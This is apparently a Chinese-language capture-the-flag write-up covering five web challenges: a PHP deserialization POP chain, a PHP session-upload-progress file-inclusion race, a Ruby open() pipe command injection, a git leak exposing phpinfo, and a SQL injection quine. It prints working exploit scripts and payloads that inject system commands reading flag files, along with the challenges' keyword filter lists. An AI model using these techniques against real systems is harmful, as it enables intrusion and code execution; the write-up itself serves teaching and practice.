pklovecloud
代码显示
<?php
include 'flag.php';
class pkshow
{
function echo_name()
{
return "Pk very safe^.^";
}
}
class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new pkshow;
}
function __toString()
{
if (isset($this->cinder))
return $this->cinder->echo_name();
}
}
class ace
{
public $filename;
public $openstack;
public $docker;
function echo_name()
{
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "keystone lost~";
}
}
}
}
if (isset($_GET['pks']))
{
$logData = unserialize($_GET['pks']);
echo $logData;
}
else
{
highlight_file(__file__);
}
?>
一看就是反序列化,我们看到__construct()和 __toString()两个魔法函数,其中我们需要利用到ace类中的file_get_contents()函数,显示出我们的flag.php的内容。
所以我们构造pop链
<?php
class acp
{
protected $cinder;
function __construct()
{
$this->cinder = new ace();
}
function __toString()
{
if (isset($this->cinder))
return $this->cinder->echo_name();
}
}
class ace
{
public $filename='flag.php';
public $openstack;
public $docker;
function echo_name()
{
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
$this->openstack->nova=$heat;
if($this->openstack->neutron === $this->openstack->nova)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "keystone lost~";
}
}
}
}
$a=new acp();
echo urlencode(serialize($a))
?>
南方师傅的wp,他这个有点复杂,但是可以学一下思想
<?php
class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct($cinder)
{
$this -> cinder = $cinder;
$this -> neutron = &$this -> nova;
}
}
class ace
{
public $filename = "flag.php";
public $openstack;
public $docker;
function __construct($docker)
{
$this -> docker = $docker;
}
}
echo urlencode(serialize(new acp(new ace(serialize(new acp(""))))));
Easycleanup
<?php
if(!isset($_GET['mode'])){
highlight_file(__file__);
}else if($_GET['mode'] == "eval"){
$shell = $_GET['shell'] ?? 'phpinfo();';
if(strlen($shell) > 15 | filter($shell) | checkNums($shell)) exit("hacker");
eval($shell);
}
if(isset($_GET['file'])){
if(strlen($_GET['file']) > 15 | filter($_GET['file'])) exit("hacker");
include $_GET['file'];
}
function filter($var): bool{
$banned = ["while", "for", "\$_", "include", "env", "require", "?", ":", "^", "+", "-", "%", "*", "`"];
foreach($banned as $ban){
if(strstr($var, $ban)) return True;
}
return False;
}
function checkNums($var): bool{
$alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$cnt = 0;
for($i = 0; $i < strlen($alphanum); $i++){
for($j = 0; $j < strlen($var); $j++){
if($var[$j] == $alphanum[$i]){
$cnt += 1;
if($cnt > 8) return True;
}
}
}
return False;
}
?>
首先我们发现既可以用eval命令执行,也可以用include文件包含。
但是eval过滤得太多,我们看到include要稍微简单点
filter函数把很多都过滤了
我们尝试使用phpsession文件包含。
师傅们的脚本
import io
import requests
import threading
url = 'http://challenge-cfd946d2e06b103c.sandbox.ctfhub.com:10800'
def write(session):
data = {
'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("cat /flag_is_here_not_are_but_you_find");?>dotasts'
}
while True:
f = io.BytesIO(b'a' * 1024 * 10)
response = session.post(url,cookies={'PHPSESSID': 'flag'}, data=data, files={'file': ('dota.txt', f)})
def read(session):
while True:
response = session.get(url+'?file=/tmp/sess_flag')
if 'dotasts' in response.text:
print(response.text)
break
else:
print('retry')
if __name__ == '__main__':
session = requests.session()
write = threading.Thread(target=write, args=(session,))
write.daemon = True
write.start()
read(session)
羽师傅的脚本
import requests
import threading
session=requests.session()
sess='yu22x'
url1="http://challenge-13a76fa553bf63aa.sandbox.ctfhub.com:10800"
url2='http://challenge-13a76fa553bf63aa.sandbox.ctfhub.com:10800?file=/tmp/sess_'+sess
data1={
'PHP_SESSION_UPLOAD_PROGRESS':'<?php echo `cat /f*`;?>'
}
data2={
'1':'system("cat f*");'
}
file={
'file':'abc'
}
cookies={
'PHPSESSID': sess
}
def write():
while True:
r = session.post(url1,data=data1,files=file,cookies=cookies)
def read():
while True:
r = session.post(url2,data=data2)
if 'ctfhub' in r.text:
print(r.text)
threads = [threading.Thread(target=write),
threading.Thread(target=read)]
for t in threads:
t.start()
PNG图片转换器
这个题对于现在的我确实不太会做,只有自己看wp
现在fuzz一波,结果发现什么图片马都不得行。
考点是:Ruby open rce
参考文献
https://ruby-doc.org/docs/ruby-doc-bundle/Manual/man-1.4/function.html#open
https://blog.heroku.com/identifying-ruby-ftp-cve
require 'sinatra'
require 'digest'
require 'base64'
get '/' do
open("./view/index.html", 'r').read()
end
get '/upload' do
open("./view/upload.html", 'r').read()
end
post '/upload' do
unless params[:file] && params[:file][:tempfile] && params[:file][:filename] && params[:file][:filename].split('.')[-1] == 'png'
return "<script>alert('error');location.href='/upload';</script>"
end
begin
filename = Digest::MD5.hexdigest(Time.now.to_i.to_s + params[:file][:filename]) + '.png'
open(filename, 'wb') { |f|
f.write open(params[:file][:tempfile],'r').read()
}
"Upload success, file stored at #{filename}"
rescue
'something wrong'
end
end
get '/convert' do
open("./view/convert.html", 'r').read()
end
post '/convert' do
begin
unless params['file']
return "<script>alert('error');location.href='/convert';</script>"
end
file = params['file']
unless file.index('..') == nil && file.index('/') == nil && file =~ /^(.+)\.png$/
return "<script>alert('dont hack me');</script>"
end
res = open(file, 'r').read()
headers 'Content-Type' => "text/html; charset=utf-8"
"var img = document.createElement(\"img\");\nimg.src= \"data:image/png;base64," + Base64.encode64(res).gsub(/\s*/, '') + "\";\n"
rescue
'something wrong'
end
end
就是如果传递给open函数的文件名参数是以“|”开头,Ruby会打开一个管道句柄并执行后面的命令 open("|命令部分") 执行ls / 读取flag.png base64解码后得到文件名flag_31391,读取这个文件 再次访问flag.png 解码base64得到flag
WebFTP
扫描发现git泄露
然后githack下载不下来
浏览githack?件可以看到 https://github.com/wifeat/WebFTP
/Readme/mytz.php 中可以执行phpinfo函数
if (isset($_GET['act']) && $_GET['act'] == 'phpinfo'){
phpinfo();
exit();
}
flag就在phpinfo里面。
yet_another_mysql_injection
代码
<?php
include_once("lib.php");
function alertMes($mes,$url){
die("<script>alert('{$mes}');location.href='{$url}';</script>");
}
function checkSql($s) {
if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
alertMes('hacker', 'index.php');
}
}
if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
$username=$_POST['username'];
$password=$_POST['password'];
if ($username !== 'admin') {
alertMes('only admin can login', 'index.php');
}
checkSql($password);
$sql="SELECT password FROM users WHERE username='admin' and password='$password';";
$user_result=mysqli_query($con,$sql);
$row = mysqli_fetch_array($user_result);
if (!$row) {
alertMes("something wrong",'index.php');
}
if ($row['password'] === $password) {
die($FLAG);
} else {
alertMes("wrong password",'index.php');
}
}
if(isset($_GET['source'])){
show_source(__FILE__);
die;
}
?>
首先审计代码,我们需要username=admin,password=数据库中的password相同
quine可以返回一个自身的sql查询。
参考链接:https://www.shysecurity.com/post/20140705-SQLi-Quine
脚本
def quine(data, debug=True):
if debug: print(data)
data = data.replace('@@',"REPLACE(REPLACE(@@,CHAR(34),CHAR(39)),CHAR(64),@@)")
blob = data.replace('@@','"@"').replace("'",'"')
data = data.replace('@@',"'"+blob+"'")
if debug: print(data)
return data
result = quine("'UNION/**/SELECT/**/@@/**/AS/**/atao#")
运行一下,POST传参就可以得到flag。
|